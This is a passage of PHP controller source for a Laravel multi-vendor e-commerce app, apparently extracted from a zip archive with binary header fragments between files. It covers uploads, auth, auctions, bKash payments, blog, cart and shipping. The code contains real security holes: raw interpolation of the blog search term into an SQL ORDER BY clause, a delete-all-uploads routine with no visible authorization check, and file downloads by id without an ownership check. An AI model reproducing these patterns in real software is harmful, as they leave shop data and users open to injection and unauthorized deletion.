1) { try { $img = Image::make($request->file('aiz_file')->getRealPath())->encode(); $height = $img->height(); $width = $img->width(); if ($width > $height && $width > 1500) { $img->resize(1500, null, function ($constraint) { $constraint->aspectRatio(); }); } elseif ($height > 1500) { $img->resize(null, 800, function ($constraint) { $constraint->aspectRatio(); }); } $img->save(base_path('public/') . $path); clearstatcache(); $size = $img->filesize(); } catch (\Exception $e) { //dd($e); } } if (env('FILESYSTEM_DRIVER') == 's3') { Storage::disk('s3')->put( $path, file_get_contents(base_path('public/') . $path), [ 'visibility' => 'public', 'ContentType' => $extension == 'svg' ? 'image/svg+xml' : $file_mime ] ); if ($arr[0] != 'updates') { unlink(base_path('public/') . $path); } } $upload->extension = $extension; $upload->file_name = $path; $upload->user_id = Auth::user()->id; $upload->type = $type[$upload->extension]; $upload->file_size = $size; $upload->save(); } return $this->success(translate('File has been inserted successfully')); } } public function get_uploaded_files(Request $request) { $uploads = Upload::where('user_id', Auth::user()->id); if ($request->search != null) { $uploads->where('file_original_name', 'like', '%' . $request->search . '%'); } if ($request->sort != null) { switch ($request->sort) { case 'newest': $uploads->orderBy('created_at', 'desc'); break; case 'oldest': $uploads->orderBy('created_at', 'asc'); break; case 'smallest': $uploads->orderBy('file_size', 'asc'); break; case 'largest': $uploads->orderBy('file_size', 'desc'); break; default: $uploads->orderBy('created_at', 'desc'); break; } } return $uploads->paginate(60)->appends(request()->query()); } public function destroy($id) { $upload = Upload::findOrFail($id); if (auth()->user()->user_type == 'seller' && $upload->user_id != auth()->user()->id) { flash(translate("You don't have permission for deleting this!"))->error(); return back(); } try { if (env('FILESYSTEM_DRIVER') == 's3') { Storage::disk('s3')->delete($upload->file_name); if (file_exists(public_path() . '/' . $upload->file_name)) { unlink(public_path() . '/' . $upload->file_name); } } else { unlink(public_path() . '/' . $upload->file_name); } $upload->delete(); flash(translate('File deleted successfully'))->success(); } catch (\Exception $e) { $upload->delete(); flash(translate('File deleted successfully'))->success(); } return back(); } public function bulk_uploaded_files_delete(Request $request) { if ($request->id) { foreach ($request->id as $file_id) { $this->destroy($file_id); } return 1; } else { return 0; } } public function get_preview_files(Request $request) { $ids = explode(',', $request->ids); $files = Upload::whereIn('id', $ids)->get(); $new_file_array = []; foreach ($files as $file) { $file['file_name'] = my_asset($file->file_name); if ($file->external_link) { $file['file_name'] = $file->external_link; } $new_file_array[] = $file; } // dd($new_file_array); return $new_file_array; // return $files; } public function all_file() { $uploads = Upload::all(); foreach ($uploads as $upload) { try { if (env('FILESYSTEM_DRIVER') == 's3') { Storage::disk('s3')->delete($upload->file_name); if (file_exists(public_path() . '/' . $upload->file_name)) { unlink(public_path() . '/' . $upload->file_name); } } else { unlink(public_path() . '/' . $upload->file_name); } $upload->delete(); flash(translate('File deleted successfully'))->success(); } catch (\Exception $e) { $upload->delete(); flash(translate('File deleted successfully'))->success(); } } Upload::query()->truncate(); return back(); } //Download project attachment public function attachment_download($id) { $project_attachment = Upload::find($id); try { $file_path = public_path($project_attachment->file_name); return Response::download($file_path); } catch (\Exception $e) { flash(translate('File does not exist!'))->error(); return back(); } } //Download project attachment public function file_info(Request $request) { $file = Upload::findOrFail($request['id']); return (auth()->user()->user_type == 'seller') ? view('seller.uploads.info', compact('file')) : view('backend.uploaded_files.info', compact('file')); } } PKPM]�Y�zz7Http/Controllers/Api/V2/AuctionProductBidController.phpnu�[���product_id)->where('user_id', Auth::user()->id)->first(); if ($bid == null) { $bid = new AuctionProductBid; $bid->user_id = Auth::user()->id; } $bid->product_id = $request->product_id; $bid->amount = $request->amount; if ($bid->save()) { $secound_max_bid = AuctionProductBid::where('product_id', $request->product_id)->orderBy('amount', 'desc')->skip(1)->first(); if ($secound_max_bid != null) { if ($secound_max_bid->user->email != null) { $product = Product::where('id', $request->product_id)->first(); $array['view'] = 'emails.auction_bid'; $array['subject'] = translate('Auction Bid'); $array['from'] = env('MAIL_FROM_ADDRESS'); $array['content'] = 'Hi! A new user bidded more then you for the product, ' . $product->name . '. ' . 'Highest bid amount: ' . $bid->amount; $array['link'] = route('auction-product', $product->slug); try { Mail::to($secound_max_bid->user->email)->queue(new AuctionBidMailManager($array)); } catch (\Exception $e) { //dd($e->getMessage()); } } } return response()->json([ 'result' => true, 'message' => translate('Bid Placed Successfully.'), ], 200); } else { return response()->json([ 'result' => false, 'message' => translate('Something Went Wrong'), ], 201); } return back(); } } PKPM]ׇ� � 4Http/Controllers/Api/V2/AuctionProductController.phpnu�[���where('published', 1)->where('auction_product', 1); if (get_setting('seller_auction_product') == 0) { $products = $products->where('added_by', 'admin'); } $products = $products->where('auction_start_date', '<=', strtotime("now"))->where('auction_end_date', '>=', strtotime("now")); return new AuctionMiniCollection($products->paginate(10)); } public function details_auction_product(Request $request, $slug) { $detailedProduct = Product::where('slug', $slug)->get(); return new AuctionProductDetailCollection($detailedProduct); } public function bided_products_list() { $own_bids = AuctionProductBid::where('user_id', auth()->id())->orderBy('id', 'desc')->pluck('product_id'); $bided_products = Product::whereIn('id', $own_bids)->paginate(10); return AuctionBidProducts::collection($bided_products); } public function user_purchase_history(Request $request) { $orders = DB::table('orders') ->orderBy('code', 'desc') ->join('order_details', 'orders.id', '=', 'order_details.order_id') ->join('products', 'order_details.product_id', '=', 'products.id') ->where('orders.user_id', auth()->user()->id) ->where('products.auction_product', '1'); if ($request->payment_status != "" || $request->payment_status != null) { $orders = $orders->where('orders.payment_status', $request->payment_status); } if ($request->delivery_status != "" || $request->delivery_status != null) { $orders = $orders->where('orders.delivery_status', $request->delivery_status); } $orders = $orders->select('order_details.order_id as id')->paginate(15); return AuctionPurchaseHistory::collection($orders); } } PKPM](�Gf L L*Http/Controllers/Api/V2/AuthController.phpnu�[��� translate('Name is required'), 'email_or_phone.required' => $request->register_by == 'email' ? translate('Email is required') : translate('Phone is required'), 'email_or_phone.email' => translate('Email must be a valid email address'), 'email_or_phone.numeric' => translate('Phone must be a number.'), 'email_or_phone.unique' => $request->register_by == 'email' ? translate('The email has already been taken') : translate('The phone has already been taken'), 'password.required' => translate('Password is required'), 'password.confirmed' => translate('Password confirmation does not match'), 'password.min' => translate('Minimum 6 digits required for password') ); $validator = Validator::make($request->all(), [ 'name' => 'required', 'password' => 'required|min:6|confirmed', 'email_or_phone' => [ 'required', Rule::when($request->register_by === 'email', ['email', 'unique:users,email']), Rule::when($request->register_by === 'phone', ['numeric', 'unique:users,phone']), ], 'g-recaptcha-response' => [ Rule::when(get_setting('google_recaptcha') == 1 && get_setting('recaptcha_customer_register') == 1 , ['required', new Recaptcha()], ['sometimes']) ] ], $messages); if ($validator->fails()) { return response()->json([ 'result' => false, 'message' => $validator->errors()->all() ]); } $user = new User(); $user->name = $request->name; if ($request->register_by == 'email') { $user->email = $request->email_or_phone; } if ($request->register_by == 'phone') { $user->phone = $request->email_or_phone; } $user->password = bcrypt($request->password); $user->verification_code = rand(100000, 999999); $user->save(); $user->email_verified_at = null; if ($user->email != null) { if (BusinessSetting::where('type', 'email_verification')->first()->value != 1) { $user->email_verified_at = date('Y-m-d H:m:s'); } } if ($user->email_verified_at == null) { if ($request->register_by == 'email') { try { $user->notify(new AppEmailVerificationNotification()); } catch (\Exception $e) { } } else { $otpController = new OTPVerificationController(); $otpController->send_code($user); } } $user->save(); //create token $user->createToken('tokens')->plainTextToken; $tempUserId = $request->has('temp_user_id') ? $request->temp_user_id : null; return $this->loginSuccess($user, '', $tempUserId); } public function resendCode() { $user = auth()->user(); $user->verification_code = rand(100000, 999999); if ($user->email) { try { $user->notify(new AppEmailVerificationNotification()); } catch (\Exception $e) { } } else { $otpController = new OTPVerificationController(); $otpController->send_code($user); } $user->save(); return response()->json([ 'result' => true, 'message' => translate('Verification code is sent again'), ], 200); } public function confirmCode(Request $request) { $user = auth()->user(); if ($user->verification_code == $request->verification_code) { $user->email_verified_at = date('Y-m-d H:i:s'); $user->verification_code = null; $user->save(); return response()->json([ 'result' => true, 'message' => translate('Your account is now verified'), ], 200); } else { return response()->json([ 'result' => false, 'message' => translate('Code does not match, you can request for resending the code'), ], 200); } } public function login(Request $request) { $messages = array( 'email.required' => $request->login_by == 'email' ? translate('Email is required') : translate('Phone is required'), 'email.email' => translate('Email must be a valid email address'), 'email.numeric' => translate('Phone must be a number.'), 'password.required' => translate('Password is required'), ); $validator = Validator::make($request->all(), [ 'password' => 'required', 'login_by' => 'required', 'email' => [ 'required', Rule::when($request->login_by === 'email', ['email', 'required']), Rule::when($request->login_by === 'phone', ['numeric', 'required']), ], 'g-recaptcha-response' => [ Rule::when(get_setting('google_recaptcha') == 1 && get_setting($request['recaptcha_action']) == 1, ['required', new Recaptcha()], ['sometimes']) ] ], $messages); if ($validator->fails()) { return response()->json([ 'result' => false, 'message' => $validator->errors()->all() ]); } $delivery_boy_condition = $request->has('user_type') && $request->user_type == 'delivery_boy'; $seller_condition = $request->has('user_type') && $request->user_type == 'seller'; $req_email = $request->email; if ($delivery_boy_condition) { $user = User::whereIn('user_type', ['delivery_boy']) ->where(function ($query) use ($req_email) { $query->where('email', $req_email) ->orWhere('phone', $req_email); }) ->first(); } elseif ($seller_condition) { $user = User::whereIn('user_type', ['seller']) ->where(function ($query) use ($req_email) { $query->where('email', $req_email) ->orWhere('phone', $req_email); }) ->first(); } else { $user = User::whereIn('user_type', ['customer']) ->where(function ($query) use ($req_email) { $query->where('email', $req_email) ->orWhere('phone', $req_email); }) ->first(); } // if (!$delivery_boy_condition) { if (!$delivery_boy_condition && !$seller_condition) { if (\App\Utility\PayhereUtility::create_wallet_reference($request->identity_matrix) == false) { return response()->json(['result' => false, 'message' => 'Identity matrix error', 'user' => null], 401); } } if ($user != null) { if (!$user->banned) { if (Hash::check($request->password, $user->password)) { if($user->user_type=='seller' && $user->shop->registration_approval == 0){ return response()->json(['result' => false, 'message' => translate('Your seller account is under review. We will notify you once approved.'), 'user' => null], 401); }else{ $tempUserId = $request->has('temp_user_id') ? $request->temp_user_id : null; return $this->loginSuccess($user,'', $tempUserId); } } else { return response()->json(['result' => false, 'message' => translate('Unauthorized'), 'user' => null], 401); } } else { return response()->json(['result' => false, 'message' => translate('User is banned'), 'user' => null], 401); } } else { return response()->json(['result' => false, 'message' => translate('User not found'), 'user' => null], 401); } } public function user(Request $request) { return response()->json($request->user()); } public function logout(Request $request) { $user = request()->user(); $user->tokens()->where('id', $user->currentAccessToken()->id)->delete(); return response()->json([ 'result' => true, 'message' => translate('Successfully logged out') ]); } public function socialLogin(Request $request) { if (!$request->provider) { return response()->json([ 'result' => false, 'message' => translate('User not found'), 'user' => null ]); } switch ($request->social_provider) { case 'facebook': $social_user = Socialite::driver('facebook')->fields([ 'name', 'first_name', 'last_name', 'email' ]); break; case 'google': $social_user = Socialite::driver('google') ->scopes(['profile', 'email']); break; case 'twitter': $social_user = Socialite::driver('twitter'); break; case 'apple': $social_user = Socialite::driver('sign-in-with-apple') ->scopes(['name', 'email']); break; default: $social_user = null; } if ($social_user == null) { return response()->json(['result' => false, 'message' => translate('No social provider matches'), 'user' => null]); } if ($request->social_provider == 'twitter') { $social_user_details = $social_user->userFromTokenAndSecret($request->access_token, $request->secret_token); } else { $social_user_details = $social_user->userFromToken($request->access_token); } if ($social_user_details == null) { return response()->json(['result' => false, 'message' => translate('No social account matches'), 'user' => null]); } $existingUserByProviderId = User::where('provider_id', $request->provider)->first(); if ($existingUserByProviderId) { $existingUserByProviderId->access_token = $social_user_details->token; if ($request->social_provider == 'apple') { $existingUserByProviderId->refresh_token = $social_user_details->refreshToken; if (!isset($social_user->user['is_private_email'])) { $existingUserByProviderId->email = $social_user_details->email; } } $existingUserByProviderId->save(); return $this->loginSuccess($existingUserByProviderId); } else { $existing_or_new_user = User::firstOrNew( [['email', '!=', null], 'email' => $social_user_details->email] ); // $existing_or_new_user->user_type = 'customer'; $existing_or_new_user->provider_id = $social_user_details->id; if (!$existing_or_new_user->exists) { if ($request->social_provider == 'apple') { if ($request->name) { $existing_or_new_user->name = $request->name; } else { $existing_or_new_user->name = 'Apple User'; } } else { $existing_or_new_user->name = $social_user_details->name; } $existing_or_new_user->email = $social_user_details->email; $existing_or_new_user->email_verified_at = date('Y-m-d H:m:s'); } $existing_or_new_user->save(); return $this->loginSuccess($existing_or_new_user); } } // Guest user Account Create public function guestUserAccountCreate(Request $request) { $success = 1; $password = substr(hash('sha512', rand()), 0, 8); $isEmailVerificationEnabled = get_setting('email_verification'); // User Create $user = new User(); $user->name = $request->name; $user->email = $request->email; $user->phone = addon_is_activated('otp_system') ? $request->phone : null; $user->password = Hash::make($password); $user->email_verified_at = $isEmailVerificationEnabled != 1 ? date('Y-m-d H:m:s') : null; $user->save(); // Account Opening and verification(if activated) eamil send try { EmailUtility::customer_registration_email('registration_from_system_email_to_customer', $user, $password); } catch (\Exception $e) { $success = 0; $user->delete(); } if($success == 0){ return response()->json([ 'result' => false, 'message' => translate('Something went wrong!') ]); } if($isEmailVerificationEnabled == 1){ $user->notify(new AppEmailVerificationNotification()); } // User Address Create $address = new Address(); $address->user_id = $user->id; $address->address = $request->address; $address->country_id = $request->country_id; $address->state_id = $request->state_id; $address->city_id = $request->city_id; $address->postal_code = $request->postal_code; $address->phone = $request->phone; $address->longitude = $request->longitude; $address->latitude = $request->latitude; $address->save(); if($request->has('billing_address') || ($request->has('set_billing') && $request->set_billing == 1)){ $billing_address = new Address(); $billing_address->user_id = $user->id; $billing_address->address = $request->billing_address ?? $request->address; $billing_address->country_id = $request->billing_country_id ?? $request->country_id; $billing_address->state_id = $request->billing_state_id ?? $request->state_id; $billing_address->city_id = $request->billing_city_id ?? $request->city_id; $billing_address->postal_code = $request->billing_postal_code ?? $request->postal_code; $billing_address->phone = $request->billing_phone ?? $request->phone; $billing_address->longitude = $request->billing_longitude ?? $request->longitude; $billing_address->latitude = $request->billing_latitude ?? $request->latitude; $billing_address->save(); } Cart::where('temp_user_id', $request->temp_user_id) ->update([ 'user_id' => $user->id, 'temp_user_id' => null, 'address_id' => $address->id, 'billing_address' => isset($billing_address) ? $billing_address->id : null ]); //create token $user->createToken('tokens')->plainTextToken; return $this->loginSuccess($user); } public function loginSuccess($user, $token = null, $tempUserId = null) { if (!$token) { $token = $user->createToken('API Token')->plainTextToken; } if($tempUserId != null){ Cart::where('temp_user_id', $tempUserId) ->update([ 'user_id' => $user->id, 'temp_user_id' => null ]); } if($user->user_type == 'seller'){ \Log::channel('seller_login')->info('Seller Logged In', [ 'user_id' => $user->id, 'email' => $user->email, 'time' => now()->toDateTimeString() ]); } return response()->json([ 'result' => true, 'message' => translate('Successfully logged in'), 'access_token' => $token, 'token_type' => 'Bearer', 'expires_at' => null, 'user' => [ 'id' => $user->id, 'type' => $user->user_type, 'name' => $user->name, 'email' => $user->email, 'avatar' => $user->avatar, 'avatar_original' => uploaded_asset($user->avatar_original), 'phone' => $user->phone, 'email_verified' => $user->email_verified_at != null ] ]); } protected function loginFailed() { return response()->json([ 'result' => false, 'message' => translate('Login Failed'), 'access_token' => '', 'token_type' => '', 'expires_at' => null, 'user' => [ 'id' => 0, 'type' => '', 'name' => '', 'email' => '', 'avatar' => '', 'avatar_original' => '', 'phone' => '' ] ]); } public function account_deletion() { if (auth()->user()) { Cart::where('user_id', auth()->user()->id)->delete(); } $auth_user = auth()->user(); $auth_user->tokens()->where('id', $auth_user->currentAccessToken()->id)->delete(); $auth_user->customer_products()->delete(); User::destroy(auth()->user()->id); return response()->json([ "result" => true, "message" => translate('Your account deletion successfully done') ]); } public function getUserInfoByAccessToken(Request $request) { $token = PersonalAccessToken::findToken($request->access_token); if (!$token) { return $this->loginFailed(); } $user = $token->tokenable; if ($user == null) { return $this->loginFailed(); } return $this->loginSuccess($user, $request->access_token); } } PKPM]�9,Http/Controllers/Api/V2/BannerController.phpnu�[���base_url = "https://tokenized.sandbox.bka.sh/v1.2.0-beta/tokenized/"; } else { $this->base_url = "https://tokenized.pay.bka.sh/v1.2.0-beta/tokenized/"; } } public function begin(Request $request) { $payment_type = $request->payment_type; $combined_order_id = $request->combined_order_id; $amount = $request->amount; $user_id = $request->user_id; try { $token = $this->getToken(); if ($payment_type == 'cart_payment') { $combined_order = CombinedOrder::find($combined_order_id); $amount = $combined_order->grand_total; $payerReference = $payment_type . '-' . $combined_order->id . '-' . $user_id; } elseif ($payment_type == 'order_re_payment'){ $order = Order::findOrFail($request->order_id); $amount = $order->grand_total; $payerReference = $payment_type . '-' . $order->id . '-' . $user_id; } elseif ($payment_type == 'wallet_payment') { $amount = $request->amount; $payerReference = $payment_type . '-' . $amount . '-' . $user_id; }elseif ($payment_type == 'customer_package_payment' || $payment_type == 'seller_package_payment') { $payerReference = $payment_type . '-' . $request->package_id . '-' . $user_id; } $requestbody = array( 'mode' => '0011', 'payerReference' => $payerReference, 'callbackURL' => route('api.bkash.callback'), 'amount' =>$amount, 'currency' => 'BDT', 'intent' => 'sale', 'merchantInvoiceNumber' => "Inv" . Date('YmdH') . rand(1000, 10000), ); $requestbodyJson = json_encode($requestbody); $header = array( 'Content-Type:application/json', 'Authorization:' . $token , 'X-APP-Key:' . env('BKASH_CHECKOUT_APP_KEY') ); $url = curl_init($this->base_url . 'checkout/create'); curl_setopt($url, CURLOPT_HTTPHEADER, $header); curl_setopt($url, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($url, CURLOPT_RETURNTRANSFER, true); curl_setopt($url, CURLOPT_POSTFIELDS, $requestbodyJson); curl_setopt($url, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($url, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4); $resultdata = curl_exec($url); curl_close($url); return redirect(json_decode($resultdata)->bkashURL); } catch (\Exception $exception) { return response()->json([ 'token' => '', 'result' => false, 'url' => '', 'message' => $exception->getMessage() ]); } } public function callback(Request $request) { $allRequest = $request->all(); if (isset($allRequest['status']) && $allRequest['status'] == 'success') { $resultdata = $this->execute($allRequest['paymentID']); if (!$resultdata) { $resultdata = $this->query($allRequest['paymentID']); } $response = json_decode($resultdata, true); $payerReference = explode("-", $response['payerReference']); if (isset($response['statusCode']) && $response['statusCode'] == "0000" && $response['transactionStatus'] == "Completed") { $payment_type = $payerReference[0]; if ($payment_type == 'cart_payment') { checkout_done($payerReference[1], json_encode($response)); } elseif ($request->payment_type == 'order_re_payment') { order_re_payment_done($payerReference[1], 'Bkash', json_encode($response)); } elseif ($payment_type == 'wallet_payment') { wallet_payment_done($payerReference[2], $payerReference[1], 'Bkash', json_encode($response)); } elseif ($payment_type == 'customer_package_payment') { customer_purchase_payment_done($payerReference[2], $payerReference[1], 'Bkash', json_encode($response)); } elseif ($payment_type == 'seller_package_payment') { seller_purchase_payment_done($payerReference[2], $payerReference[1], 'Bkash', json_encode($response)); } return response()->json(['result' => true, 'message' => translate("Payment is successful")]); } else { self::fail($allRequest); } } else { self::fail($allRequest); } } public static function fail($payment_details) { return response()->json([ 'result' => false, 'message' => translate('Payment Failed'), 'payment_details' => $payment_details ]); } public function getToken() { $request_data = array('app_key' => env('BKASH_CHECKOUT_APP_KEY'), 'app_secret' => env('BKASH_CHECKOUT_APP_SECRET')); $request_data_json = json_encode($request_data); $header = array( 'Content-Type:application/json', 'username:' . env('BKASH_CHECKOUT_USER_NAME'), 'password:' . env('BKASH_CHECKOUT_PASSWORD') ); $url = curl_init($this->base_url . 'checkout/token/grant'); curl_setopt($url, CURLOPT_HTTPHEADER, $header); curl_setopt($url, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($url, CURLOPT_RETURNTRANSFER, true); curl_setopt($url, CURLOPT_POSTFIELDS, $request_data_json); curl_setopt($url, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($url, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4); $resultdata = curl_exec($url); curl_close($url); $token = json_decode($resultdata)->id_token; return $token; } public function execute($paymentID) { $auth = $this->getToken(); $requestbody = array( 'paymentID' => $paymentID ); $requestbodyJson = json_encode($requestbody); $header = array( 'Content-Type:application/json', 'Authorization:' . $auth, 'X-APP-Key:' . env('BKASH_CHECKOUT_APP_KEY') ); $url = curl_init($this->base_url . 'checkout/execute'); curl_setopt($url, CURLOPT_HTTPHEADER, $header); curl_setopt($url, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($url, CURLOPT_RETURNTRANSFER, true); curl_setopt($url, CURLOPT_POSTFIELDS, $requestbodyJson); curl_setopt($url, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($url, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4); $resultdata = curl_exec($url); curl_close($url); return $resultdata; } public function query($paymentID) { $auth = $this->getToken(); $requestbody = array( 'paymentID' => $paymentID ); $requestbodyJson = json_encode($requestbody); $header = array( 'Content-Type:application/json', 'Authorization:' . $auth, 'X-APP-Key:' . env('BKASH_CHECKOUT_APP_KEY') ); $url = curl_init($this->base_url . 'checkout/payment/status'); curl_setopt($url, CURLOPT_HTTPHEADER, $header); curl_setopt($url, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($url, CURLOPT_RETURNTRANSFER, true); curl_setopt($url, CURLOPT_POSTFIELDS, $requestbodyJson); curl_setopt($url, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($url, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4); $resultdata = curl_exec($url); curl_close($url); return $resultdata; } } PKPM]{cX�_ _ *Http/Controllers/Api/V2/BlogController.phpnu�[���has('search')) { $search = $request->search;; $blogs->where(function ($q) use ($search) { foreach (explode(' ', trim($search)) as $word) { $q->where('title', 'like', '%' . $word . '%') ->orWhere('short_description', 'like', '%' . $word . '%'); } }); $case1 = $search . '%'; $case2 = '%' . $search . '%'; $blogs->orderByRaw("CASE WHEN title LIKE '$case1' THEN 1 WHEN title LIKE '$case2' THEN 2 ELSE 3 END"); } if ($request->has('selected_categories')) { $selected_categories = $request->selected_categories; $blog_categories = BlogCategory::whereIn('slug', $selected_categories)->pluck('id')->toArray(); $blogs->whereIn('category_id', $blog_categories); } $blogs = $blogs->where('status', 1)->orderBy('created_at', 'desc')->paginate(12); $recent_blogs = Blog::where('status', 1)->orderBy('created_at', 'desc')->limit(9)->get(); return response()->json([ 'result' => true, 'blogs' => new BlogCollection($blogs), 'selected_categories' => $selected_categories, 'search' => $search, 'recent_blogs' => $recent_blogs ]); } public function blog_details($slug) { $blog = Blog::where('slug', $slug)->first(); $recent_blogs = Blog::where('status', 1)->orderBy('created_at', 'desc')->limit(9)->get(); return response()->json([ 'result' => true, 'blog' => $blog, 'recent_blogs' => $recent_blogs, ]); } public function test() { return response()->json([ 'result' => true, 'message' => 'okk...', ]); } } PKPM]vo+�  +Http/Controllers/Api/V2/BrandController.phpnu�[���name != "" || $request->name != null){ $brand_query->where('name', 'like', '%'.$request->name.'%'); SearchUtility::store($request->name); } return new BrandCollection($brand_query->paginate(10)); } public function top() { return Cache::remember('app.top_brands', 86400, function(){ return new BrandCollection(Brand::where('top', 1)->get()); }); } } PKPM]�^j 885Http/Controllers/Api/V2/BusinessSettingController.phpnu�[���has('user_id') ? $request->user_id : null; $tempUserId = $request->has('temp_user_id') ? $request->temp_user_id : null; $carts = ($userId != null) ? Cart::where('user_id', $userId)->active()->get() : Cart::where('temp_user_id', $tempUserId)->active()->get(); // Logged In User shipping info if($userId != null){ $address = Address::where('id', $carts[0]['address_id'])->first(); $shipping_info['country_id'] = $address->country_id; $shipping_info['city_id'] = $address->city_id; } // Guest User Shipping info elseif($tempUserId != null){ $shipping_info['country_id'] = $request->country_id; $shipping_info['city_id'] = $request->city_id; } if (count($carts) > 0) { $zone = $shipping_info['country_id'] ? Country::where('id', $shipping_info['country_id'])->first()->zone_id : null; $carrier_query = Carrier::query(); $carrier_query->whereIn('id',function ($query) use ($zone) { $query->select('carrier_id')->from('carrier_range_prices') ->where('zone_id', $zone); })->orWhere('free_shipping', 1); $carriers_list = $carrier_query->active()->get(); foreach($carts->unique('owner_id') as $cart) { $new_carrier_list = []; foreach($carriers_list as $carrier_list) { $new_carrier_list['id'] = $carrier_list->id; $new_carrier_list['name'] = $carrier_list->name; $new_carrier_list['logo'] = uploaded_asset($carrier_list->logo); $new_carrier_list['transit_time'] = (integer) $carrier_list->transit_time; $new_carrier_list['free_shipping'] = $carrier_list->free_shipping == 1 ? true : false; $new_carrier_list['transit_price'] = carrier_base_price($carts, $carrier_list->id, $cart->owner_id, $shipping_info); $seller_wise_carrier_list[$cart->owner_id][] = $new_carrier_list; } } } return response()->json([ 'data' => $seller_wise_carrier_list, 'success' => true, 'status' => 200 ]); } } PKPM]���"D"D*Http/Controllers/Api/V2/CartController.phpnu�[���user(); $user = $request->user_id != null ? User::where('id', $request->user_id)->first() : null; $items = ($user != null) ? Cart::where('user_id', $user->id)->active()->get() : ($request->has('temp_user_id') ? Cart::where('temp_user_id', $request->temp_user_id)->active()->get() : [] ); if ($items->isEmpty()) { return response()->json([ 'sub_total' => format_price(0.00), 'tax' => format_price(0.00), 'gst' => format_price(0.00), 'shipping_cost' => format_price(0.00), 'discount' => format_price(0.00), 'grand_total' => format_price(0.00), 'grand_total_value' => 0.00, 'coupon_code' => "", 'coupon_applied' => false, 'total_items' => 0, 'club_point' => 0, ]); } $sum = 0.00; $subtotal = 0.00; $tax = 0.00; $gst = 0.00; $total_point = 0; foreach ($items as $cartItem) { $product = Product::find($cartItem['product_id']); $subtotal += cart_product_price($cartItem, $product, false, false) * $cartItem['quantity']; $tax += cart_product_tax($cartItem, $product, false) * $cartItem['quantity']; $gst += cart_product_gst($cartItem, $product, false); if (addon_is_activated('club_point')) { $total_point += $product->earn_point * $cartItem['quantity']; } } $shipping_cost = $items->sum('shipping_cost'); $discount = $items->sum('discount'); $sum = ($subtotal + $tax +$gst + $shipping_cost) - $discount; $total_items = count($items); return response()->json([ 'sub_total' => single_price($subtotal), 'tax' => single_price($tax), 'gst' => single_price($gst), 'shipping_cost' => single_price($shipping_cost), 'discount' => single_price($discount), 'grand_total' => single_price($sum), 'grand_total_value' => convert_price($sum), 'coupon_code' => $items[0]->coupon_code, 'coupon_applied' => $items[0]->coupon_applied == 1, 'total_items' => $total_items, 'club_point' => $total_point, ]); } public function count(Request $request) { $user_id = $request->user_id; $temp_user_id = $request->temp_user_id; $items = ($user_id != null) ? Cart::where('user_id', $user_id)->active()->get() : ($temp_user_id != null ? Cart::where('temp_user_id', $temp_user_id)->active()->get() : [] ); return response()->json([ 'count' => sizeof($items), 'status' => true, ]); } public function getList(Request $request) { $user_id = $request->user_id; $temp_user_id = $request->temp_user_id; $owner_ids = ($user_id != null) ? Cart::where('user_id', $user_id)->active()->select('owner_id')->groupBy('owner_id')->pluck('owner_id')->toArray() : ($temp_user_id != null ? Cart::where('temp_user_id', $temp_user_id)->active()->select('owner_id')->groupBy('owner_id')->pluck('owner_id')->toArray() : [] ); $currency_symbol = currency_symbol(); $shops = []; $sub_total = 0.00; $grand_total = 0.00; if (!empty($owner_ids)) { foreach ($owner_ids as $owner_id) { $shop = array(); $shop_items_raw_data = ($user_id != null) ? Cart::where('user_id', $user_id)->where('owner_id', $owner_id)->active()->get()->toArray() : ($temp_user_id != null ? Cart::where('temp_user_id', $temp_user_id)->where('owner_id', $owner_id)->active()->get()->toArray() : [] ); $shop_items_data = array(); if (!empty($shop_items_raw_data)) { foreach ($shop_items_raw_data as $shop_items_raw_data_item) { $product = Product::where('id', $shop_items_raw_data_item["product_id"])->first(); $price = cart_product_price($shop_items_raw_data_item, $product, false, false) * intval($shop_items_raw_data_item["quantity"]); $tax = cart_product_tax($shop_items_raw_data_item, $product, false); $gst = cart_product_gst($shop_items_raw_data_item, $product, false); $shop_items_data_item["id"] = intval($shop_items_raw_data_item["id"]); $shop_items_data_item["status"] = intval($shop_items_raw_data_item["status"]); $shop_items_data_item["owner_id"] = intval($shop_items_raw_data_item["owner_id"]); $shop_items_data_item["user_id"] = intval($shop_items_raw_data_item["user_id"]); $shop_items_data_item["product_id"] = intval($shop_items_raw_data_item["product_id"]); $shop_items_data_item["product_name"] = $product->getTranslation('name'); $shop_items_data_item["auction_product"] = $product->auction_product; $shop_items_data_item["product_thumbnail_image"] = uploaded_asset($product->thumbnail_img); $shop_items_data_item["variation"] = $shop_items_raw_data_item["variation"]; $shop_items_data_item["price"] = (float) cart_product_price($shop_items_raw_data_item, $product, false, false); $shop_items_data_item["currency_symbol"] = $currency_symbol; //$shop_items_data_item["tax"] = (float) cart_product_tax($shop_items_raw_data_item, $product, false); $shop_items_data_item["price"] = single_price($price); $shop_items_data_item["currency_symbol"] = $currency_symbol; $shop_items_data_item["tax"] = single_price($tax); $shop_items_data_item["gst"] = single_price($gst); $shop_items_data_item["shipping_cost"] = (float) $shop_items_raw_data_item["shipping_cost"]; $shop_items_data_item["quantity"] = intval($shop_items_raw_data_item["quantity"]); $shop_items_data_item["lower_limit"] = intval($product->min_qty); $shop_items_data_item["upper_limit"] = intval($product->stocks->where('variant', $shop_items_raw_data_item['variation'])->first()->qty); $shop_items_data_item["digital"] = $product->digital; $shop_items_data_item["stock"] = $product->stocks->where('variant', $shop_items_raw_data_item['variation'])->first()->qty; $sub_total += $price + $tax + $gst; $shop_items_data[] = $shop_items_data_item; } } $grand_total += $sub_total; $shop_data = Shop::where('user_id', $owner_id)->first(); if ($shop_data) { $shop['name'] = translate($shop_data->name); $shop['owner_id'] = (int) $owner_id; $shop['sub_total'] = single_price($sub_total); $shop['cart_items'] = $shop_items_data; } else { $shop['name'] = translate("Inhouse"); $shop['owner_id'] = (int) $owner_id; $shop['sub_total'] = single_price($sub_total); $shop['cart_items'] = $shop_items_data; } $shops[] = $shop; $sub_total = 0.00; } } return response()->json([ "grand_total" => single_price($grand_total), "data" => $shops ]); } public function add(Request $request) { $user_id = $request->user_id != null ? $request->user_id : null; 